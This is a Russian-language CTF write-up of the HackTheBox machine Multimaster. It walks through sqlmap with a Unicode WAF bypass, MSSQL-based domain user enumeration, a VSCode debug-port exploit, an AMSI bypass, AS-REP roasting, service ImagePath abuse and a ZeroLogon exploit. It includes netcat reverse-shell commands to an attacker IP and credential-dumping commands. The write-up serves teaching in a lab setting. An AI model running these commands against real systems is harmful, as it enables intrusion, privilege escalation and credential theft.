HackTheBox. Прохождение Multimaster. Burp+Sqlmap. AD users from MSSQL. Уязвимость в VSCode. AMSI bypass и CVE ZeroLogon

kjxm7fvpzvmpm5gpzscmsxlg5wo.png
Привет, с вами Ральф. Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье очень много всего. Посмотрим как для удобства совместить Burp Suite и sqlmap, узнаем как получить пользователей домена имея доступ к MSSQL, эксплуатируем уязвимость в Visual Studio Code, блокируем AMSI, выполняем AS-REP Roasting для получения учетных данных и повышаем привилегии из группы Server Operators. А в качестве демонстрации новой уязвимости ZeroLogon, захватим эту же машину другим путем меньше чем за 5 минут.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.179, который я добавляю в /etc/hosts.

10.10.10.179 	multimaster.htb


Первым делом сканируем открытые порты. Так как сканировать все порты nmap«ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179  --rate=500


ctzbrt545lwe7gxgmq0g_5e5bpm.png

На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.

nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389


owjifmyd3nlp8v2ehohtrgvm4ee.png

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389


ebvmnzhtqtinbymbwjvyhatz9ba.png

С SMB и LDAP ничего сделать не выходит, посмотрим веб.

0d7fgex2hr9hjkz2bnkc4cfwo9o.png

На сайте есть авторизация, а также форма поиска.

8b30d8uikfywvehar8zyvw0h1xq.png

Причем поиск работает по вхождению.

pu_eqotkbqmeg7uoakn8j4cpf7y.png

Таким образом, можно предположить, что в SQL запросе используется оператор LIKE. Поэтому можно попытаться вывести все записи.

sz4p_wkdlz-wx3n7mdwamigr-so.png

Получается, что мы имеем SQL инъекцию.

cy0kij6zzgyvbukfsj9ag_a86og.png

Но вывести хоть что-либо не выходит. Видимо используется WAF.

cfkdvs9ed8-i8fmkvev-rmdw9ww.png

Но его получилось обойти за счет использования Unicode кодировки.

vs8thlj2bk6vbbw9glafhs_yec8.png

И находим количество столбцов.

24qp_wob5wqx4ifpqjpcm637jxu.png

sziwldnmoecwujhmlbfpf2n_rtu.png

Значит инъекция есть 100%.

Sqlmap + Burp Suite

Для того, чтобы легко работать с базой, используем sqlmap. Мы знаем способ кодирования и СУБД — отразим это в параметрах. Так же сохраним запрос из Burp Suite в файл и укажем его sqlmap. Давайте определим пользователя, под которым выполняются запросы.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user


wihl3hzhx-qvsba4arumqzxt0fu.png

И неудачно, такой же ответ мы получали без использования кодирования. Давайте укажем Burp в качестве прокси для sqlmap. И чтобы не тратить время укажем технику внедрения кода Union based (параметр U).

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user


Перехватываем запросы в burp, и видим несколько иное отображение кодировки.

m7ollbdmwd4aij6gn0e1mghn3ma.png

Давайте проверим, работает ли она. Закодируем уже известную нам нагрузку данным образом.

acwv1v8xgdlvagfcivof7bsmma8.png

xp7ecpjkb9ezqk9iudj940gcys0.png

И она не работает. Значит нам нужно изменять отображение кодировки. Сделать это можно с помощью Burp. Перейдем на вкладку Proxy → options и к разделу Match and Replace.

9ba9h-h06r8-dwvxvstmfgrd9o0.png

Добавим правило, которое в теле запроса будет менять %u на \u.

a26mut4ts5fghxp22qcdj0dzvpq.png

И удостоверимся, что оно активно.

5vcjzjgwtmis3dch_rabza_rwyc.png

Теперь снова выполним sqlmap.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user


В Burp наблюдаем уже исправленный запрос.

8nej9ikxxpkiv-v7tqtxnuv_4yq.png

Разрешаем передачу для всех запросов. И в sqlmap получаем имя текущего пользователя.

hkxftgjaqm8ealyf_a4sa4oeu2a.png

Но снова видим ошибку. Видимо WAF. Давайте добавим задержку 3 секунды и узнаем привилегии.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges


bdkfsv9lrowqdbpbirrak6dbbpq.png

Мы ничего не можем сделать. Узнаем базы данных.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs


vy6ycgxlrvetwcn4tid-phhqyx4.png

Посмотрим таблицы из Hub_DB.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables


e9uifebu3mvc7s9tqhhlz3eb4uq.png

То что нужно. Таблица Logins. Извлечем из нее все данные.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump


ki0ftqwls6cq5tb5wripxglxtlg.png

И так, мы имеем пользователей и хеши паролей. Здесь присутствует все 4 различных хеша. Давайте узнаем какие.

ty1j8mkvujpzs-c6o2fbvm1sgai.png

Теперь узнаем режимы hashcat, которые мы будем перебирать.

nmy_r_ahge9yijmqy-d_iirm1bc.png

Всего три режима. И используя последнй мы ломаем три хеша.

hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt


lunmvbu35fk8udgkuohz0npibyi.png

Но данные хеши не подходят для SMB. Копаем дальше.

USER


То что мы можем получать данные из MSSQL дает нам возможность получить пользователей домена. Сейчас покажу, как это сделать. Первым делом, нам нужно получить название домена.

atmhkqx3czygztwhb2l-i7e1zo4.png

m8irpl7znm80_cemawiwgaxtshu.png

И теперь нам нужно узнать его SID. SID домена мы можем получить, узнав SID любого объекта домена и откинув от него RID. В любом домене существует группа Domain Admins. Это позволяет нам заранее существующий в домене объект. Давайте узнаем его SID.

j5cw2ryfuc-xlbcbwyvev5qgc68.png

qh8narnnvth_b36ej9qougbtyga.png

Так, он закодирован. Чтобы отобразить его в нормальном виде, используем функцию sys.fn_varbintohexstr.

ngcfy8uonh4chtgy-ayz91oytdo.png

d1j8ynx1nkcneqz_6otds_qm1b0.png

И мы получаем SID данного объекта. Далее идея такая: мы получаем SID домена и подставляя разные RID, получим имена пользователей по существующему SID. Для примера, RID администратора — 500.

Из полученного SID возьмем первые 48 байт.

fcdlrhuduhfledb-wsknpamojh4.png

И добавляем в конец, RID — 500 (не забываем перевернуть).

sedkuusjngdy6aauadskuefuwwy.png

3nvoapfl3xy3jzdkqdrixppo1lc.png

И теперь получим имя учетной записи по нашему SID.

ccrpc7rzfgsomyw3n3xetigl0ec.png

pmazou-zgdvkrqca-w2vuuswkfa.png

Так как это работает, получим объекты домена. Для перебора я использую Burp Intruder.

pqhrmfwdusmc0kkshtjt2g_knly.png

tpkidxyll3haks60wkiqx2nmgxo.png

Отправив в Intruder запрос, выделяем наши переменные 4 байта. Далее нужно сгенерировать эти переменные 4 байта.

for i in range(1100, 9100,1000):
    for j in range(50):
        h = hex(i+j)[2:].rjust(4,'0')
        SID = ""
        for c in (h[2:]+h[:2]):
            SID += "0x" + hex(ord(c))[2:]
        print(SID)


Сохраняем результат в файл и указываем в Burp.

n2blfw9tllbdyp99r6qeuma2agw.png

Также выключаем URL кодирование и заменяем все 0x на \u00.

nfuoeqyur4zuppttihxjrtmp2yu.png

Помним про WAF, ставим один поток и и задержку между запросами.

2-nye9gxc55dyf49zdb1w3uvyyw.png

Запускаем атаку, сортируем по длине ответа и наблюдаем много объектов.

cpwu2_mi4rsshnsgr-nampouvjk.png

Выбираем всех пользователей и сохраняем в файл. Также имеем три пароля. Перебираем SMB и находим верную пару.

t7-zjqgae7ifxphor_baldryqpg.png

Подключаемся к WinRM и мы в системе.

0rtxizh4_bp0fhaiyi7uy5kw9qi.png

USER2


Попадая в систему, проводим разведку. Я делаю это с помощью winPEAS. Загружаем его на машину и запускаем. Ничего интересного там не обнаружили.

l8n9siss2_p7ookhjaoomo6xgn4.png

Значит пойдем по сложному пути. Нам нужно достать как можно больше учетных данных. Начнем с имен пользователей, которые есть в системе.

gp_aq6qggy_wavagiovtp9wp4ru.png

Сохраняем всех себе в файл. Но где мы можем найти хоть какой-нибудь пароль? На сервере используются баз данных, и для подключения к ней нужен пароль. Давайте попробуем достать его.

nq4k06kno4sblxml35zavfgspf8.png

Но у нас нет прав на директорию веб-сервера. Уже не зная что делать, в моем списке осталась не закрыта позиция используемого на сервере программного обеспечения. Просмотрим список процессов.

tdqwbkeaw4aerd_a7hwv6imtav8.png

И в глаза бросается VSCode.

q0sg9d45my1tk7byrxnla9ceeis.png

pglyanhv_klqexnujgf_4v9xxuk.png

Таким образом, на сервере запущен Visual Studio Code 1.37.1. И в нем есть уязвимости, позволяющие выполнить код!

dqimiotnikrmjyafmufhpmyag8o.png

Как следует отсюда:

An elevation of privilege vulnerability exists in Visual Studio Code when it exposes a debug listener to users of a local computer.


Злоумышленник, может внедрить произвольный код для запуска в контексте текущего пользователя для этого он должен определить, какой порт прослушивает Visual Studio Code. Для подключения к порту VSCode можем использовать cefdebug.

oza6z6lrckluaexnjnfdhgfxp4g.png

Давайте найдем прослушиваемый порт.

ftaa9hjmmrsrbgjzqlchotbwhxi.png

Отлично, такой порт есть. Давайте выполним код в контексте процесса VSCode. Выполним бэкконнект шелл с помошью nc.

.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"


t9q1jpgcqczgjo9fysgbj1sxviq.png

И видим успешное подключение.

md95rxojokxyt9elkp0iec0jzeo.png

Идем в нашу директорию.

dfstge-zx-brbrjrrno9zvvgbrc.png

wy5xq7q95vps1azi9fnuqaag7qw.png

Из всего представленного наибольший интерес представляет API. Давайте скачаем его.

gfcxnzmmu4zeuxcny_mlu6jkbqy.png

iqhbsa6mtrxvyanauusv3_e2hrm.png

Я перешел в систему Windows и проверил, на чем написана данная библиотека.

tnqovy9g6gdwxkzkv6vmq8vce1k.png

Это C#, значит мы можем декомпилировать проект. Я использую dnSpy.

lzo6t307lzaiudx7hyenhvdgvtk.png

И в исходниках находим пароль. Но чтобы выяснить для какого он пользователя, используем перебор логинов (Password Spraying). Я использую CrackMapExec.

cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"


y3dmaujy8pge7x7ohevbxklmc7q.png

И забираем еще одного пользователя

59yvaqigv74fhwe3vvkdgll6wag.png

USER3


При попытке загрузить и использовать какое-либо средство разведки, нас блокирует AMSI. Давайте запатчим его с помощью Invoke-AlokS-AvBypass.

gt9_dpoo7tazk_tqlw517blge54.png

Теперь спокойно загружаем на хост sharphound.

ija06cvd0xemrcardoydzxcdrrk.png

И после запуска наблюдаем архив.

uji4tgiem03y0yqvra3zwj-fogg.png

Теперь скачиваем его на локальный хост и закидываем в bloodhound. Далее в Queries выбираем Shortest Paths to High Value Targets.

dswk3tkqceu8yly4g1rjqzzniky.png

Копаясь в графе, определяем связь между подконтрольным нам пользователем и другим пользователем домена.

o2nk_e2udt6fsvalpo-zsrxjum8.png

Давайте получим информацию о связи.

jfhdjll-7qfqirq3n44betukk18.png

yltoj47alltpd-rxr4hehci9qjs.png

Таким образом, мы можем получить хеш пароля пользователя (о самом процессе уже описывалось в двух подобным райтапах). Активируем свойство — не требовать предварительную аутентификацию Kerberos.

_vct8lumc-ebf464gltd0mysxxi.png

И выполним запрос.

fvsz7rfhs9x7payydvwypa-cuh8.png

Копируем хеш и ломаем с помощью hashcat.

hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt


zm0ibhjrel_0txh37pnrpeszri0.png

Получаем пароль пользователя. И успешно заходим под ним.

iqmcodriooko1701g1f9xexgzq8.png

ROOT


Получив информацию о пользователе, замечаем, что он является членом группы Server Operators.

hxocdzh8qq2fz2gz_qu3dc0m1di.png

Члены данной группы могут конфигурировать и запускать службы (а службы в в винде работают от имени SYSTEM). Обычно это делают через SensorDaraService.

r_p5jd_8mc6iyferrh26_5p1qy0.png

Давайте изменить пусть к исполняемому файлу на команду бэкконнекта с помощью netcat.

reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f


nwes1rwg9vazxshrlaioz1oei_s.png

И после запуска службы наблюдаем подключение на 4321 порт.

sc.exe start SensorDataService


5karhrdz0hivewhdu-rujbxzdoy.png

Мы с правами SYSTEM.

CVE-2020–1472


А теперь для демонстрации попробуем сразу захватить контроллер домена, даже не имея точки входа и опоры. Для этого используем недавно нашумевшую уязвимость ZeroLogon (CVE-2020–1472).

По большому счету, уязвимость CVE-2020–1472 заключается в несовершенстве схемы криптографической аутентификации Netlogon Remote Protocol. Этот протокол используется для аутентификации пользователей и машин в сетях, построенных на базе домена. В частности, Netlogon служит и для удаленного обновления паролей компьютеров. Уязвимость позволяет злоумышленнику выдать себя за компьютер-клиент и сбросить пароль контроллера домена.
Для теста попробуем запросить репликацию учетных данных с хешем 31d6cfe0d16ae931b73c59d7e0c089c0 (пустой пароль).

secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'


ot1xqmjn119i77zcrdl4315lh_y.png

Теперь используем эксплоит.

CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179


phrwkexdqxbh17lzkck-ihvbyi0.png

Нам сообщают, что атака проведена успешно. Запрашиваем репликацию учетных данных снова. И получаем их.

secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'


use9bhm3hvdq8h7mks6ewie4qqm.png

А с хешем администратора можем подключиться через WinRM.

nbjfic23gorwupqiywm8_gzzuai.png

В частности, так можно захватить контроллер домена на базе:
— всех версий Windows Server 2019, Windows Server 2016;
— всех вариантов Windows Server версии 1909;
— Windows Server версии 1903;
— Windows Server версии 1809 (Datacenter, Standard);
— Windows Server 2012 R2;
— Windows Server 2012;
— Windows Server 2008 R2 Service Pack 1.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

© Habrahabr.ru